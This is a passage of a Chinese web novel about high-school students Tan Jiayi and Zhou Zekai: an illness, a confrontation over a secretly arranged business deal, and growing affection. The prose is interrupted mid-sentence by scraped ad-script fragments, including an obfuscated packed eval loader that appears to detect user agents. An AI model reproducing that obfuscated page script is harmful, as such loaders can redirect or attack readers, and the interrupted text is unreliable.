谭佳宜勾起嘴角,注视着镜子中的自己。周泽楷说得没错,这种人,还不值得伤害自己来对付。 32. 请假&关怀 次日下午六点,学生返校,汉城五中终于从沉寂中苏醒过来,一间间教室被再次点亮。 每次放假回来,教室里总会有两类同学,一类人分享欲爆棚,和前排说完找后排,和左边聊后去右边,总之在打铃前一刻,是坚决不会打开书本的,或许是想借这种方式,来抓住假期最后的尾巴;另一类人则是忙着补作业。 对,没有看错,就是在补作业。 谁说重点班的孩子就都是乖孩子,会老老实实、保质保量地将假期作业一字不落地写完,一是假期太短,作业太多,二是他们始终坚信,自己一定能在最后一刻激发出无限潜能。 只见他们笔耕不辍,工作效率极高,不到最后一刻坚决不会放弃,唯一倔强的一点就是,不到万不得已,是不会去借鉴别人的答案。 最后一排的两人当然不属于这两类中的任意一类,他们自成一派,早就拿出自己的习题开始埋头苦干,仿佛浮躁与他俩绝缘一般。 其实也不是说谭佳宜和周泽楷作业一定都做完了,只是学霸们总是有自己的安排和松弛,对于一些简单重复的练习,他们直接采取精简政策,通俗来讲,就是不写。 老师爱说就说吧,反正最后是凭分数说话。 对于谭佳宜来说,这个假期,实在是太充实了些。这两天严重失眠,她来之前还干了一杯咖啡,但不知道为什么,脑袋仍是晕晕乎乎的。 按理说,她之前熬大夜,第二天依旧精神抖擞,今天这么差的状态还是头一回。 她撑着脑袋,眼皮不自觉地耷拉下来,习题在这一页停留了好久,草稿纸上还是上一题的痕迹。 周泽楷来的时候,谭佳宜已经坐在了位子上。她难得早来一回,一来就安安静静地在位子上写题,周泽楷属实被她卷到了,不敢打扰她,就只好默默摊开练习册,开始陪伴学习模式。 铃声终于响了,周泽楷从写题的专注中抽离出来,扭头一看,才发现谭佳宜正趴在桌子上,练习册没合上,就连按动笔也没来得及按回,笔头赤裸裸地暴露出来,险些戳到笔袋。 周泽楷将笔轻轻按好,放回了笔袋中。这种高中生下课的常态,可从来没出现在谭佳宜身上,她向来自律,在教室里就像个不知疲倦的学习机器,这会儿趴在桌子上,倒是让人担心。 周泽楷想,她不会是不舒服吧。刚要问时,对方从桌子上弹起来,愣愣地望着讲台出神。 周泽楷瞧见她微红的双颊,眼神迷离,看着疲态尽显,“怎么了,是不舒服吗?” 谭佳宜低声道:“没事。”她揉了揉太阳穴,又重新拿起笔来。 头愈发昏沉,仿佛整个人在燃烧,异样的红晕从面颊一直蔓延到耳后,谭佳宜实在是没法儿集中注意力,手上的题目也是毫无进展。 “你不会是发烧了吧?”周泽楷注意到她状态不对劲,说着,用手覆上了她的额头。 果然很烫!周泽楷指尖的冰凉吓了谭佳宜一跳,她下意识地往后缩了缩。 “你别硬撑了,干脆请假回去好好休息。烧成这样可不能拖。”语气焦急,周泽楷眼中闪着一丝慌张。 “嗯。”谭佳宜呢喃一声,带着些许鼻音,她径直走向讲台,和坐班老师请了假。 没什么东西好收拾,谭佳宜准备直接回家。临走时,周泽楷不放心道:“你一个人回去可以吗?要不我也请个假陪你?” 他压低声音,只是班上这会儿静悄悄的,即使是一丝半点动静,也很容易被捕捉到。旁边的同学似是听到了什么不该听的,眼神不自觉朝他们这边瞟了一眼。 今晚是数学周测,虽然缺一次也无大碍,大不了之后补上就是,但谭佳宜不想麻烦别人,何况自己不过是一个小小感冒,还没娇气到需要人照看的份上。 她扯了扯嘴角,佯装没事,“不用,我自己能行,你好好考试吧。” 谭佳宜前脚刚请完假,自己后脚就去请假,不免惹人怀疑,何况他一没病二没灾的,也编不出什么像样的理由。 周泽楷看她拒绝,想着反正她住得近,应该没什么问题,所以就让她先走了。 回家的路不长,这一路谭佳宜走得几乎没有知觉,一进家门,她连灯都没开,摸着黑回到房间,只想倒头就睡。 这几年,她基本没怎么生过病,一些小感冒都是抗两天就过去了,所以也没有吃药的习惯。 她不爱吃药,她的生活本就苦涩,何必还要吃那些多余的苦头。 迷迷糊糊中,谭佳宜很快进入了梦乡,她想着睡一觉,应该就好了吧。 半夜,身上开始再次发热,谭佳宜烧得脑子不清醒,想看看现在几点,却摸索了半天,也没找着手机。 她索性不找了,任凭汗水浸湿枕头,再次醒来时,是被噩梦惊醒的。睁眼一看,已是天亮。 她挣扎着爬起来,总算找到了手机。手机掉到了地上,难怪她昨晚怎么找都找不到。 现在已经是上午十点,她浑然不觉自己竟睡了这么久,虽然迷迷糊糊中醒过几次,但已经好久没在床上躺这么长时间了,她平时睡眠浅,所以干脆拿这些时间去干别的事情。 手机一开机,便有一堆消息轰炸过来。谭墨行给她打了好几个电话,估计是老师看她今天没来,就联系她家长了。 昨晚周泽楷也发来了一条消息,显示时间是晚上十点半,看来他是一回家就给来问候她了。 嗓子有点干,谭佳宜站起来,想先倒杯水喝。刚一起身,只觉头重脚轻,浑身没劲,她摸了摸额头,还是很烫,看来自己的免疫能力还是没想象的强。 她无奈叹了口气,干脆坐下先回消息。没急着给谭墨行打电话,谭佳宜反而先点开和周泽楷的对话框,回了一句:“我今天不去了,在家休息,别担心。” 回完后,谭佳宜才意识到,周泽楷这会儿在学校,也没法儿看到消息。 她扶额苦笑,看来自己是真烧糊涂了,智商直线下降。 谁知刚发过去,没一会功夫,手机就弹出周泽楷的消息。看来他还专门把手机带到了学校。 “好好休息,安心养病。放心,这几天发的资料都帮你留着。” 谭佳宜忍不住笑了。最近讲的东西她早就学过了,周泽楷还惦记着帮她留卷子资料,也是有心了。 她叫他别担心,他叫她放心,也不知道是谁在担心。 回完周泽楷的消息,谭佳宜还是决定去医院挂个针,她想着这样应该会好得快一点。 这小小发烧她还是低估了,误事不说,昨晚可是给她折磨得不轻。 在医院挂上针后,谭佳宜才不急不忙地掏出手机打给谭墨行。 距离上次谭墨行拨号,已经过去了整整三个小时,这三个小时里,谭佳宜再没接到谭墨行任何消息。 她就知道,她这个父亲根本不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在意她,她生个病,没准儿对他来说还是在添乱。 拨了一遍,显示对方正在通话中,谭佳宜直接掐断了电话,也没打算拨第二遍,她想着反正自己刚跟班主任请过假了,知不知会谭墨行也是无所谓的事。 刚放下手机,立马又有人打过来,谭佳宜一看,正是谭墨行。 没有惊讶,也没有惊喜,谭佳宜眼底掠过一抹不屑,顿了顿,还是接通了电话。 “佳宜,刚刚老师给我打电话,说你生病请假了。早上给你打好几个电话都没人接,真是让我担心死了,你现在好点儿了吗?” 听闻此言,谭佳宜没有丝毫感动,她只是佩服,谭墨行好演技,将好父亲的角色演得出神入化。 这种假惺惺的关心他怎么说得出口,自己难道不觉得恶心吗? “嗯,我好多了,现在在医院挂针。”谭佳宜冷冷道,语气平静得听不出任何情绪,将内心的不耐烦掩饰得很好。 “你在哪家医院,是不是附近的人民医院?你等着,爸爸现在过去接你,今天咱们回家休息。” 谭佳宜下意识想拒绝,但她转念又想到难得折腾一回谭墨行,他既然想来,就让他来吧。毕竟自己现在的样子还算可怜,这个好父亲一年到头见不着几回女儿,姑且施舍给他个表现的机会吧。 “行,爸爸你可要快点来,别让我久等。”谭佳宜哑着嗓子低声道,细语轻声,可想而知的虚弱,任谁听了不生出几分心疼。 谭墨行赶到的时候,谭佳宜正斜倚着,一个人昏昏欲睡,手上还打着吊瓶。 旁边打针的人大多都有家属陪伴,独独谭佳宜没人照看,这模样很是凄惨可怜。 谭墨行见女儿生病的模样,内心终是泛起些许愧疚,毕竟也是他的亲生骨肉。 逆着光看过去,有一瞬,谭墨行竟在谭佳宜身上看到了白言清的影子,一种复杂的情绪在心底漾开,愧意加深,他决心要弥补自己这个懂事的女儿。 谭墨行将外套脱下来,盖在谭佳宜身上,谭佳宜眯起眼睛看来人,嘴里咕嘟一句:“是爸爸吗?” “是爸爸,爸爸来了。”谭墨行满脸笑意地看着女儿。 他抚了抚谭佳宜的额头,好像没那么烫了,应该是退烧了。 谭墨行见她没了困意,开始对她嘘寒问暖,扯些有的没的,父女俩好久没聊过天,其实也没什么共同话题,不过谭佳宜可以感觉到,谭墨行好像在尽可能地找话题。 “对了,爸爸告诉你个好消息。” 谭佳宜露出惊讶的表情。 “之前不是有个公司跟佳行解约,你上次放假还安慰爸爸了。今天爸爸就签下了笔大生意,这下你也不用担心了。” 听到这里,谭佳宜的表情一瞬间僵住,她有一种不祥的预感。 “是哪家公司这么有眼光啊?”谭佳宜试探性地问道。 “长泽集团。”谭墨行说的时候,眼睛都在发光,“他们确实有眼光,不过还是我们律所有实力。也多亏了你,当初佳行这个名字果然没取错,每次遇到困难都能化险为夷。你这个小福星,可要把自己的身体照顾好。”边说,边捏了捏谭佳宜的脸颊。 听到“长泽”二字时,谭佳宜只觉天打五雷轰,后面一个字也没听进去。 手死死地捏紧扶手,全然忘了针头还插在手背上,上面的胶布因过于用力微微崩开,谭佳宜感到一阵刺痛。 33. 质问&坦白 “佳宜,是不舒服吗?”谭墨行察觉到谭佳宜的异样,瞥见她手上的针管有血往上涌,这是——漏针了! 谭墨行慌忙叫来护士,还不忘责怪一番护士的手法不专业。小护士年轻,经不起家属施加的压力,手上的动作更加慌乱,拔针的时候血直往外冒,一时吓得不知道该怎么办。 谭墨行看她手忙脚乱的样子,咂了咂嘴,直接喊来护士长帮忙处理,借机将小护士的操作失误披露在大庭广众之下。 一边是患者的投诉,一边是上司的训斥,小护士下不来台,一时羞红了脸。 只有谭佳宜劝道:“算了,没多大点事。” 见女儿发话了,谭墨行便没再追究,好在吊瓶也不剩多少,谭佳宜恢复得不错,也就没再补针。 按着刚刚的伤口,谭佳宜脑子里却想着别的事情。 “佳宜,今天干脆回家住,咱们休息几天再回学校。” 谭佳宜回过神来,只是摇头道:“爸爸,我好多了。现在学习任务重,不敢耽误,明天我还要上早自习,就不回去了。” 谭墨行看女儿如此努力上进,也不好违了她的心意,就同意了。 “那好吧,你在学校照顾好自己。你学习好不好爸爸不看重,首先要把身体搞好。” “嗯,我知道了。”谭佳宜乖巧地点点头。 送谭佳宜回小区后,谭墨行才离开。只是谭佳宜却没急着回家,一团迷雾萦绕在心头,胸口堵着一口气,今天必须解决。 这时,手机又弹出消息,谭佳宜一看是周泽楷,没点开,直接摁灭了手机。 她心里其实早有了一个大胆的猜想,这件事压根没几个人知道,按理说是万无一失的,最有可能出岔子的环节,她想不出别人,只能是周泽楷。 烦躁与不悦席卷谭佳宜,她没和七哥打招呼,直接往网吧的方向加快了脚步。 气势汹汹地往里走,吧台的黄毛呆愣愣地看见一个熟悉的身影从眼前晃过,都还没反应过来,谭佳宜就已经推开了里屋。 一进门,七哥正靠在床边打游戏,只穿一件背心,姿势随意懒散,嘴里还在吞云吐雾。 等他反应过来的时候,人已经走到了床边,居高临下地质问他:“怎么回事?为什么计划失败了?” 七哥从床上弹起来,立即把烟掐灭,慌乱间,随手抓了旁边一件外套披上。他没想到谭佳宜会搞突袭,还抛出这么个犀利的问题,一时支支吾吾,说不出话来。 “你是不是知道点什么?”她目光锐利,气势逼人,七哥的手心不自觉地冒汗。 “那个,你要不坐下慢慢说。”七哥从旁边拖了个椅子,示意谭佳宜先坐。 谭佳宜没坐,只是直勾勾地盯着他,她只想立刻知道答案。 “你听我说,是这样的,前段时间佳行和奇瑞的解约你应该也知道,这其实是周泽楷帮的忙。” 原来如此,她就知道,哪有那么巧的事,一切都是早就安排好的。 “然后呢?”谭佳宜继续追问。 “但……条件就是不能将我们搜集的资料泄露出去,也就是最后长泽还是会和佳行签约。”七哥平静地说着,将一切坦白。 谭佳宜别过头去,只是淡淡一笑。 她觉得自己像是被耍了一样,没有人问过她的想法,没有人告诉她真相,她始终是个局外人,她信任的人欺骗她,她不相信的人瞒着她,那她到底该相信谁,她这一个月的付出又算什么! “这算是个交易,我们也没损失。”七哥补充道。 确实,他们一个比一个算得精明,哪里会损失? 谭佳宜冷哼一声:“一码归一码,苏以恒,你是不是怕了?” 苏以恒三字一出,七哥倒吸了口凉气,谭佳宜很少这么叫他,直呼全名显得既冰冷又生疏。 “没有,我从来没后悔帮你。只是我不能眼睁睁地看到你冒险,周泽楷说得有理,我们还是要用合法的手段来惩治恶人,那样做,风险还是太大了。” 七哥的义正言辞却没法说服正在气头上的谭佳宜,她不喜欢别人骗她,骗过她的人她不愿再相信。 “行,好得很,你们一条心,合着就我一个外人。周泽楷到底有什么魔力,连你现在也开始帮着他说话了?” 谭佳宜像是泄了气的皮球,这会儿也没力气再和他争论下去,既然事情已经发生了,说再多也没用,她只是想知道,为什么周泽楷能说服七哥,他俩平时明明看着也不对付。 实话实说,虽说七哥是为了谭佳宜才答应的,但经过上次的合作,他早就对周泽楷放下了戒备,至少在他看来, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 周泽楷还算靠得住,是个言而有信的人,况且他对谭佳宜的真心他也看在眼里,即使他不愿承认。 “我不是帮他说话,是想帮你,”七哥踌躇片刻,还是把压在心底的话说了出来,“其实,上次救乐乐的不是我,是周泽楷。他那天背上好像有伤,就让我把乐乐背回医院了。对不起,当时没说出来,让大家都误会他了。” 谭佳宜愣在原地,她想起那天的细节,想起周泽楷强装镇定的模样,想起那天他匆匆离开的背影,一时有些失神。 要说,他的伤还是为她受的呢。 一阵无言,密闭空间里的气氛有些僵。七哥总算是把压在心里的话说了出来,即使他不知道谭佳宜会怎么想,自己却觉得轻松不少。 屋里弥漫着淡淡的烟草味道,按说谭佳宜身体才刚有好转,不宜闻烟味儿,但这会儿她心里莫名烦躁,虽然很久没抽了,此时却想报复性地来一根。 七哥刚准备去开窗透透气,谭佳宜叫住了他:“有烟吗?” 脚步一滞,七哥顿了顿,还是走到窗边,将窗户打开,“不是戒了吗?对不起,让你闻着味儿了。这不是什么好东西,你小小年纪,染上瘾了可是个麻烦事。” …… 谭佳宜无奈地撇撇嘴,往椅子上一靠,终究还是按捺住了心中放纵的欲望。 她心里很乱,她也不知道,自己到底该何去何从,仿佛坚持了那么久的信念被一夜推翻,自己铸造的钢盔铁甲也在一瞬间瓦解,她的内心被赤裸裸地扒开,不由开始怀疑,自己之前是不是走错了路。 脑子里轰鸣声不断,谭佳宜没坐多久就坐不住了,她起身准备离开。 “对不起。你要是心情不好,我可以陪你出去走走。”七哥看她面如死灰,平静的模样看着更让人担心。 “不用了,你早点休息。”谭佳宜走到门口,又回过头来,“道理你都懂,你也戒了吧。”说罢,便头也不回,利落地走出网吧的大门。 听到这话,七哥倒是放心了不少。 看来谭佳宜也不是那么固执的人,她只是需要点时间消化。既然如此,那就尊重她,给她足够的时间去转变,去重新接纳这个世界。 其实他同周泽楷一样,他也不愿看到一个永远紧绷,满身是刺的少女。 …… 34. 爱心早餐&每日一题 翌日早晨,谭佳宜起了个大早去上学,昨天睡得早,她难得睡个好觉,今早五点就自然醒了,本想再眯一会儿,却怎么也睡不着。 她想着干脆早点去学校,一天没去,也不知道桌子上堆了多少资料。 高中生总是早起的鸟儿,这个点还不到上班的点,小区很是空旷,只有零星几个大爷大妈提着菜篮子,准备出门买菜。 最近说来也怪,小区里几盏路灯不分昼夜地亮着,不知道有没有人向物业反应,总之是迟迟未修。听说过路灯坏了不修的,这路灯总亮却不管的,还是头一遭。要说这小区也是阔绰,只是钱没用在刀刃上,路面好几处坑坑洼洼,至今还是老样子。 东方破晓,晨光刺破黑暗,将天空照得大亮。不远处不合时宜工作的路灯旁,一个修长的身影在路灯照耀下镀上一层光晕。谭佳宜没戴眼镜,隐隐约约看他穿着熟悉的校服,正单手整理衣领,做着熟悉的动作。 她犹豫着走过去,下意识想绕开,刚要擦肩而过时,对方还是叫住了她。 “谭佳宜,你躲什么?” 周泽楷清澈的声音在耳侧响起,她闭眼睛叹口气,转过身去。 对上周泽楷赤诚的眸子,他正细细地打量着她。谭佳宜被看得不自在,莫名有些心虚。 “你好了?”周泽楷说着,没等谭佳宜回答,手便伸了过来。 一阵温热在额角弥散开,谭佳宜的心颤了一下。 “看来烧是退了。”周泽楷舒了口气,话峰一转:“昨天给你发消息怎么不回,我以为你病情加重了呢。” 他眉头紧锁,一丝不悦的神色掠过眼底,让谭佳宜莫名发慌。 “昨天睡的早,没看见。”眼神下意识躲闪,谭佳宜打算就这样搪塞过去。 周泽楷没记错的话,昨天发消息时才刚过晚上六点,她睡这么早的吗? 还在周泽楷没深究,将另一只手上拎着的东西递过来,“给你带的早晨,趁热先垫一垫。” 面前是一个保温杯和一个保温袋,谭佳宜怎么没注意到,他刚刚手里竟拎着这么多东西。 “这是什么?”谭佳宜没急着接,而是疑惑地问道。 “你打开看看,”说着,周泽楷将保温袋塞到她手中,又腾出手来,将保温杯拧开。 白色的热气腾出,随之而来的是扑鼻的香甜。 这个味道谭佳宜并不陌生,小时候,每次生病感冒,妈妈都会给她熬梨汤。雪梨熬的软烂,清新的汁水配上甜蜜的冰糖,浓稠却不黏腻,止咳化痰,沁脾润肺,是清热降火的佳品。 “尝尝,我还放了银耳和莲子呢,莲子心去火,不过放了冰糖,不苦的。”周泽楷将瓶子递到她面前,满眼期待地望着她。 谭佳宜接过去抿了一口,梨子味很浓,甜度也刚刚好,看来周泽楷这熬梨汤的技术已经炉火纯青了,丝毫不输之前妈妈熬的味道。 值得注意的是,梨汤虽然是用保温杯盛着的,但温度却很适宜,再烫些难以入口,再冷些失了滋味,这种温热的状态再好不过,看来准备之人不仅用心,还很细心。 谭佳宜抬眸,对上他期望的眼神,夸奖的话术她说不出口,只是略略点头。 不过这就够了,能让一向挑剔且冷淡的谭佳宜有这个反应,就足以让周泽楷心满意足,看来他昨晚的苦心研究没有白费。 “这是什么?”谭佳宜疑惑地打开保温袋,里面用纸袋包着个三明治。三明治很厚实,滑蛋,西红柿,生菜,火腿叠了好几层,可以说是应有尽有,营养均衡。 “你几点起的?做这么多东西。” “哎,就早起了一会儿。梨汤昨晚就熬上了,三明治做起来快,像我这种老手,三五分钟就ok了。”周泽楷说得很是轻巧。 谭佳宜目不转睛地盯着他,好像并不相信他说的,“那我今天要是没来呢?” “没来的话……那就只能便宜我了,我自行消灭总不会浪费。”周泽楷淡然一笑,嘴角若隐若现的梨涡很是好看。 一股暖流从心间淌过,谭佳宜的心漏了半拍。 “趁热吃。你现在才刚好,早饭可不能再吃得这么随便。平时不见你去食堂吃早饭,要么不吃,要么拿面包糊弄,小心伤胃。”周泽楷絮叨地说着,管得倒挺宽,不像是她的同桌,倒像是她的管家婆。 很久没心安理得地接受别人的关怀,她承认,被人照顾的滋味还是挺不错的。 …… 回到教室,桌上的书整整齐齐地码在原位,不必说发下来的试卷全都被叠好,分门别类地按顺序搁在桌上,就连走之前没来得及收拾的笔袋也已经拉好了拉链,散落的笔被规规矩矩地收捡起来。 不得不说,周泽楷这个同桌还是挺靠谱的。 月假结束,短暂的休整后高一年级即将迎来新的挑战,他们马上将面临高中后的第一次联考——期中考试。 也就是说,汉城的其他名校也会参加,自然包括五中的老对头“汉城六中”。每次过招,两所学校总是要争个高下,看看第一会花落谁家。 五中押宝的自然是前几次考过第一的“周泽楷”和“陈淮北”。 王亚楠是不在意这些事的,作为一个年轻老师,他觉得学生学习的过程最重要,一时的排名不能代表全部,关键是在学习的过程中锻炼思维,提高能力。 况且,乾坤未定,你我都是黑马,在他眼里,他的每个学生都是潜力股。 只是身为小小打工人,人微言轻,校领导的话还是不可违拗。由于上一届高考五中惜败六中,所以这一届学校尤为重视,打算从娃娃抓起。 大课间时,王亚楠找来周泽楷和陈淮北,一来是想从他们这了解班上的学习情况,二来也是传达到学校的意思,让他们不要松懈,争取在期中考试中为校争光。 周泽楷听到是单独找他俩,还有些疑惑,不过陈淮北倒是很自来熟地搭上了他的肩头。 说来也怪,两人除去竞赛上偶尔打过几次照面,平时也没什么交流,难不成就因为上次运动会找他忙了一次忙? 周泽楷在心中暗暗感慨:人果然都是一回生二回熟。 “你说楠哥单独找咱俩干嘛,不会是误会咱俩……”陈淮北的眼神意味深长,他微勾起唇,笑得晦暗不明。 “你想多了吧。”周泽楷看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他不正经,生怕他说出什么虎狼之词,及时将这一分不妙扼杀在摇篮中。 “是你想多了吧。班长,看不出来啊,平时多正经一人,原来是还有这样的心思。”他把搭着的手拿开,弹开一步,双手将自己抱紧。 “我是想说,他不会是以为我俩不和,想开导开导我们吧。” “应该不是,楠哥妥妥顿感直男一枚,才没那么敏感,班上人的关系,我想他应该猜不透。” 周泽楷分析得头头是道,倒让陈淮北更加刮目相看了。 “没想到班长竟是个明白人,倒是很会识人,不会班上也有和你关系匪浅的人吧?” 此言一出,周泽楷神色有一瞬的慌张,只是面色的镇定很快将慌乱掩盖过去,在外人面前,他还是像个冰山。 “不说这个,那你觉得我是个什么样的人?” 周泽楷狐疑地打量着他,陈淮北也是不害臊,很不客气地扭过头展示自己。 “看出来了吗?”陈淮北偏头看他。 周泽楷扶额,故作沉思道:“你段位太高,我猜不透。” 谁料对方只是粲然一笑:“过奖过奖。” …… 从楠哥办公室回来后,周泽楷也接受了新的任务。由于十一班的数学与其他学科相比稍显薄弱,作为数学老师的楠哥自然是过意不去,他打算试行“每日一题”政策。 顾名思义,就是每天一位同学负责分享一道数学好题给全班,抄录到后黑板上,一天一轮换。 周泽楷走到讲台上,将轮班表贴在公告栏上,又给班上同学细细说明了规则,“对了,黑板旁还设置了交流区,大家可以用便签将自己不一样的方法粘贴在上面,有什么灵感巧思,甚至是这道题的延伸拓展,都可以在上面发表自己的想法。欢迎大家积极参与,不要吝惜自己的好点子。” 下面的有人喝彩,有人唱衰,对于数学好的找题当然是轻而易举,但对于基础一般的来说,去找值得大家都做的题无疑是一项负担,毕竟他们也不确定,自己不会的,在别人眼里会不会很简单。 察觉到有些同学兴致并不高,周泽楷很快补充道:“题目形式不限,可以是大题,当然选择填空也可以,毕竟两道选填就快抵一道大题了。同样,拔高的可以,基础题也很好,我之前就总是因为马虎错一些简单题,说白了还是基础不牢,所以大家可不千万不能眼高手低,掉以轻心。” 周泽楷打趣地说,以自己的亲身经验告诉大家不要有任何压力。不少同学听到班长这种顶级学霸也很重视基础题,瞬间打消了之前的顾虑。 看着讲台上周泽楷自信从容的样子,一种复杂的情绪在谭佳宜心间翻涌,她说不上来是欣赏、羡慕,还是自卑。 这次重逢,她以为只是她变了,其实他也变了很多,不仅是外形上的改变,还有性格上的改变。他变开朗了,变自信了,他去当了之前鼓励他当的班长,主动报名了运动会,他有在按照她之前希望的样子好好长大,而她呢? 说来讽刺,她驶向了之前的反方向。 他在发光。 而她现在,也想循着这点光亮,冲破黑暗。 35. 期中&终稿 病才刚好,谭佳宜一回学校便开始忙碌起来。虽然不像上个月有额外的杂事要处理,但这个月期中、物竞、希望杯三管齐下,也使她没法儿闲下来。 这段时间周泽楷进步倒是很大,先不说上次月考一举夺魁,谭佳宜还观察到,自己搁置了好久的那本物竞书,周泽楷都快赶上自己的进度了。 他的用功谭佳宜看在眼里,她寻思着,自己也不能输,最近还是要把之前落下的计划尽快补上。 周泽楷刚将“每日一题”抄到黑板上,回到座位,发现谭佳宜正盯着自己位置上的物理竞赛书出神。 “看什么呢,怕我超过你啊?”他坐下来,伸手在谭佳宜眼前晃了晃。 谭佳宜意识到他走过来,立马别过头去,“才没有,你还是比我慢一点儿。” “哦,只慢一点儿啊。”周泽楷刻意强调了一下后面的程度副词,接着道:“那看来我还是有进步的,还能勉强赶上你的脚步。” 谭佳宜没接着他的话说,而是突然转移了话题:“你背上的伤,好点了吗?” 语气平淡,好像只是不经意间的随便一问。 周泽楷没想到她会突然问这个,不过她应该不知道吧,毕竟自己没跟任何人说过那天去医院挂号的事。 她只不过随口一问,那他应该很容易敷衍过去。 “没事,都过去好久了,早就好了。”周泽楷如往常一样轻描淡写地把自己的伤痛遮掩过去,可谁知这一次却不奏效了。 “骗人!” 谭佳宜语气笃定,和刚刚的随口一问不同,像是早就知道了他的秘密。 “我都知道了,你别装了。”她趁周泽楷不注意,将手绕到后面,想要戳破他的伪装。只不过周泽楷反应得快,一个侧身,便本能地躲开。 “你躲什么?是不是伤还没好?” 连着两问,语气急切,少女眉头骤然蹙起,担心的神色掩都掩不住。 慌张中,周泽楷只顾着在脑海想接下来应当如何解释,差点没反应过来,要说谭佳宜这招,还是跟他学的呢。 “确实还没完全好,”他支支吾吾地说,”但我已经去看过医生了,现在也在按时用药,所以你别担心。我一定好好休养,让它快快好起来。” 看来他确实伤得不轻,还是因为她。 愧疚不可避免地在心间滋长,不过想到,这段时间他应该可以好好休养,谭佳宜的眉头终于舒展开,“自己的身体自己要负责任,以后可别在做给人挡枪的傻事了。” “嗯……” 周泽楷嘴上虽答应下来,但心里却不这么认为。 如果是冲谭佳宜来的,无论何时何地,他可能依旧会这样选择。 …… 楠哥的每日一题看来还是有点作用的,最近十一班的学习氛围被这个小小举措给带动起来。下课后,不止能看到睡觉聊天和埋头刷题的,还有不少同学开始交流起学习问题来。 讨论每日一题的人不少,交流学习经验的亦不乏。这种互帮互助,教学相长的学习风气,应该也是楠哥最想看到的。 紧张的备考下,谭佳宜抽出空余时间,将希望杯作文终于紧赶慢赶完成了。 已经修改了两遍,她拿着自己第三遍修改后的稿子往上君姐办公室走。 “进,是你啊!”君姐抬眸微笑,看到谭佳宜来了,一把拉过旁边空着的椅子示意谭佳宜坐。 “先坐一会儿,我看完她的就看你的。” 君姐这会儿正在和白依依沟通作文的事,两个人面对坐着,君姐拿笔圈点出作文里的问题,白依依在一旁认真听着,时而点头,时而提出自己的想法。 谭佳宜瞥了一眼作文手稿,上面满是批注,红圈红叉波浪线一个不落,还有不少批语,看着有些触目惊心。 不过她却没有丝毫惊讶,作为过来人,谭佳宜表示,第一遍通常都要大刀阔斧地改。 终于指导完白依依的作文,君姐将谭佳宜的作文抽过来开始审阅。 她看得很快,中途都没有停顿,手上的笔也迟迟悬在半空不动。不一会儿功夫便看完了。 一旁的白依依目瞪口呆,简直不敢相信君姐竟一个字都没改。对比自己挂了彩的试卷,白依依直呼:“李老师,你偏心,怎么只关照我啊,我都快受不住了。” 君姐抬眼看一眼白依依,打趣道:“我多关照你是你的福分,有助于你快速进步。” 谭佳宜见两人说话幽默,也附和着说:“李老师,快把关爱也分我一点儿,我也想进步。” 说罢,三人都笑了。 君姐在专业方面对学生虽严苛了些,但私下却是个可爱的老师。 谭佳宜唇角上扬,她发自内心感到一丝轻松愉悦,和两个投缘的故人待在一块儿,果然能让人忘记烦恼。 “不闹了不闹了,跟你说啊,谭佳宜这是第三次修改,所以才没什么问题,等你把最艰难的第一遍熬过去,后面也会顺畅的多,好事多磨嘛。”君姐解释后,还不忘鼓励白依依。 “不过小谭的效率还是蛮高的,改完三遍我都挑不出毛病来,终稿就交它吧。” 谭佳宜和白依依相视一笑,白依依隔空给她比了个赞,看嘴型好像在说:“厉害!” 君姐拿着两人的作文端详,喃喃道:“你们两个一份记叙文,一份散文,一个重情感,一个重语言,风格截然相反,不过各有千秋。不知道主办方更青睐那种,但百花齐放嘛,就算没得奖也不代表你们不好,所以提前给你们打个预防针。不过我还是对你们很有信心的。” 谭佳宜很佩服君姐的心态,一个老师,不会因为学生没有得到权威的认可而否定她。反而让她知道,独特不代表不优秀。 她想到有些只会照本宣科,即使答案讲不通也要往上面硬扯的老师,谭佳宜觉得,像君姐这种老师,才真正能做到让学生百花齐放。 “依依你先走吧,我和小谭说一下交稿的细节。记得要好好改哦。”君姐立马切换出一副严厉的皮肤,不过见过君姐可爱的一面后,白依依只觉凶起来的君姐像个小老虎,一点儿也不会让人感到害怕。 她立正站好,接过自己的初稿,目光一秒变作认真样,“老师放心,保证完成任务!” 君姐给谭佳宜讲完交稿的注意事项后,将稿子交到她手中,猛一抬头看她,一种莫名的熟悉感袭来,君姐忽而笑了。 “我之前也见过一个小姑娘,长得和你一样好看。那天她一个人在江边哭,可把我吓坏了。当时我也还没做老师,还是个学生呢。说来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着耀眼的成绩单,谭佳宜的理综可以说一骑绝尘,几乎拿到了满分,就是文科稍微逊色一点。 高一上还没分科,所以考九科,周泽楷难以想象,谭佳宜要是分科后会有多牛。 “别太谦虚,我看你有转移火力,捧杀我的嫌疑。”谭佳宜指了指她上面的名字,周泽楷赫然排在第一行。 也不知道这并列的怎么排的顺序,按姓氏拼音顺序,她怎么说也该在周泽楷前面,难不成是因为周泽楷语文比他高? 也有可能,原来语文好的优势还能体现在这儿。 “不敢不敢,我看你最近状态好多了。就说嘛,少想点烦心事,自然会顺利很多,而且,也会更快乐。” “……” 快乐吗? 这个月谭佳宜再管那些糟心事,她回头一想,好像自己的睡眠质量确实改善了不少。 以前,睡个好觉对她来说就是奢望,睡梦中妈妈的身影隐没在黑暗尽头,转而是那些糟心事和糟心人缠绕在自己身边,怎么都甩不掉。 谭佳宜庆幸,自己好久没做噩梦了。人的精力是有限的,专注自己热爱的就够了。 她想,或许是时候该放下了。 36. 女明星&山匪 五中新生没有军训,而是采取一贯的传统——远足。 如此,本应持续至少一个礼拜的军训,被硬生生压缩到两天。 放假前夕,班主任楠哥将远足一事正式通知到全班同学,而远足的时间就定在月假前。 不少人原本就对远足活动略有耳闻,听学长学姐们说,远足回来脚没有不费的,磨出水泡事小,还有人再见时直接多出根拐杖。 可见,远足虽听着有意思,但实则害人不浅。 